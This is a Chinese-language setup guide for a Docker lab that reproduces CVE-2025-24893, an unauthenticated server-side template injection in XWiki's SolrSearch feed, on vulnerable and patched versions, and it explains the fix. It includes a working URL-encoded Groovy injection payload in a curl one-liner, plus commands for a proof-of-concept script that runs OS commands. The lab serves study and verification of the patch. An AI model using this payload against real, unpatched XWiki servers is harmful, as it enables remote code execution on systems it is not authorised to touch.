CVE-2025-24893 - XWiki SolrSearch SSTI 导致未认证 RCE

一个自包含的 Docker 实验环境，用于复现 CVE-2025-24893——XWiki SolrSearch RSS 源中的服务端模板注入（Server-Side Template Injection，SSTI），该漏洞可导致未认证的远程代码执行（RCE）。它运行存在漏洞的 15.10.10 版本和已修复的 15.10.11 版本，因此可以展示同一个请求在一个版本上成功、在另一个版本上失败。

关于 AI 工具使用的说明。 在准备本项目时，我有限地使用了两个 AI 助手——Anthropic 的 Claude Opus 4.8 和 DeepSeek-V4-Flash-0731——用于文档和方案研究、代码审查，以及润色 README.md 文件和 LaTeX 报告的措辞。它们的贡献微乎其微，并且严格从属于我自己的决策。

1. 先决条件

Docker Engine 与 Docker Compose v2（使用 docker compose 子命令，而非旧的 docker-compose 二进制文件）。使用 docker --version 和 docker compose version 记录版本号，供报告使用。
约 2 GB 可用内存用于 XWiki 容器（JVM 堆设置为 1 GB），此外还需要 MySQL。
支持 amd64 和 arm64（包括 Apple Silicon）：基础镜像 tomcat:9-jre17、mysql:8.4 以及纯 Java 的 JDBC 驱动均为多架构。
仅在首次构建时需要互联网，用于下载 XWiki WAR 文件和 JDBC 驱动，两者均经过校验和验证。

2. 目录结构

cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py                    # standard-library proof of concept
├── figures/
│   ├── Figure 1.png
│   ├── Figure 2.png
│   ├── Figure 3.png
│   └── Figure 4.png
├── mysql/
│   └── init.sql                  # privileges for the xwiki DB user
└── xwiki-build/                  # image build, pinned to the exact version by SHA-256
    ├── Dockerfile
    ├── tomcat/
    │   └── setenv.sh
    └── xwiki/
        ├── docker-entrypoint.sh
        └── hibernate.cfg.xml

两个环境栈之间唯一的区别是 XWiki 版本。其他一切——包括数据库镜像和 JDBC 驱动——都完全相同，因此任何行为上的变化都只能归因于该修复，而非其他因素。

3. 复现漏洞（15.10.10）

构建并启动：

docker compose -f docker-compose.vuln.yml up --build -d

首次构建会下载并解压 XWiki，这需要几分钟时间。等待 Tomcat 报告启动完成：

docker compose -f docker-compose.vuln.yml logs -f xwiki   # wait for "Server startup in ..."

完成一次性的首次启动设置：打开 http://localhost:8080 并完成 Distribution Wizard（安装默认的 XWiki Standard 发行版）。此步骤会配置漏洞利用所针对的 SolrSearch UI。该端点对访客开放，因此攻击本身无需登录；只有这个初始设置步骤需要登录。

触发漏洞利用（未认证）：

python3 exploit.py http://localhost:8080

在存在漏洞的环境栈上的预期输出：

[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.

可选操作：使用只读命令证明执行能够到达操作系统：

python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...

同样的请求，以一条简单的 curl 单行命令发出：

curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42

为报告截取输出截图，然后拆除环境：

docker compose -f docker-compose.vuln.yml down          # add -v to also wipe the volumes

4. 复现修复（15.10.11）

docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki   # wait for "Server startup in ..."

再次在 http://localhost:8080 完成 Distribution Wizard，然后运行完全相同的漏洞利用脚本：

python3 exploit.py http://localhost:8080

在已修复的环境栈上的预期输出：

[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).

同样截取此截图，然后重置：

docker compose -f docker-compose.patched.yml down -v

修复为何有效

在 15.10.10 中，feed 输出块以裸 Velocity 表达式（$xwiki.feed.getFeedOutput($feed, 'rss_2.0')）的形式输出 feed，因此这个反映了用户搜索文本的 feed 会被重新送入 XWiki 的渲染管道，其中的嵌入式 {{groovy}} 宏会被执行。在 15.10.11 中，该块被替换为对新 rawResponse 宏的调用（SolrSearchMacros.xml 第 954 行；该宏定义在 templates/macros.vm 中）。rawResponse 会显式设置内容类型（application/rss+xml），通过 $response.writer.print(...) 将 feed 字节直接写入响应，并调用 $xcontext.setFinished(true) 来阻止任何进一步的渲染，因此 feed 会被原样发送，嵌入的 {{groovy}} 块永远不会被求值。补丁提交为 67021db9b8ed26c2236a653269302a86bf01ef40，安全公告为 GHSA-rr6p-3pfg-562j。该公告还给出了手动规避方案：编辑 Main.SolrSearchMacros，采用相同的 rawResponse 模式，无需升级即可封堵该漏洞点。

5. 确定性与重置

已固定：XWiki 版本（15.10.10 和 15.10.11）、WAR 和 JDBC 的 SHA-256 校验和、基础镜像 tomcat:9-jre17、数据库 mysql:8.4 以及端口 8080。
使用 docker compose -f <file> down -v 重置状态；下一次 up 将从零开始重新初始化。
这些凭据（xwiki/xwiki，root xwiki-root）仅用于此本地实验环境。
两个环境栈使用不同的 Compose 项目名称，因此它们的卷永远不会冲突。不要同时运行两者，因为两者都会占用 8080 端口。

6. 自行验证固定的校验和

for V in 15.10.10 15.10.11; do
  curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
  echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
#         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c

curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5

来源归属

xwiki-build/（Dockerfile、docker-entrypoint.sh、hibernate.cfg.xml、setenv.sh）和 mysql/init.sql 改编自或直接引入自 XWiki 的官方构建，https://github.com/xwiki-contrib/docker-xwiki（LGPL-2.1）。该 Dockerfile 与上游镜像相比有三处微小的、有文档记录的差异：(1) XWiki 和 JDBC 的版本及校验和通过构建参数传入，因此同一个文件既能构建存在漏洞的镜像，也能构建已修复的镜像；(2) 显式的 chmod +x 可确保入口点脚本可执行，即使文件在解压或传输过程中丢失了 Unix 权限；(3) 修正了一条过时的上游注释，该注释提到了一个此处未使用的 .env 文件。XWiki 的版权归 XWiki 开发团队所有。

最受欢迎

CVE-2025-24893_Analysis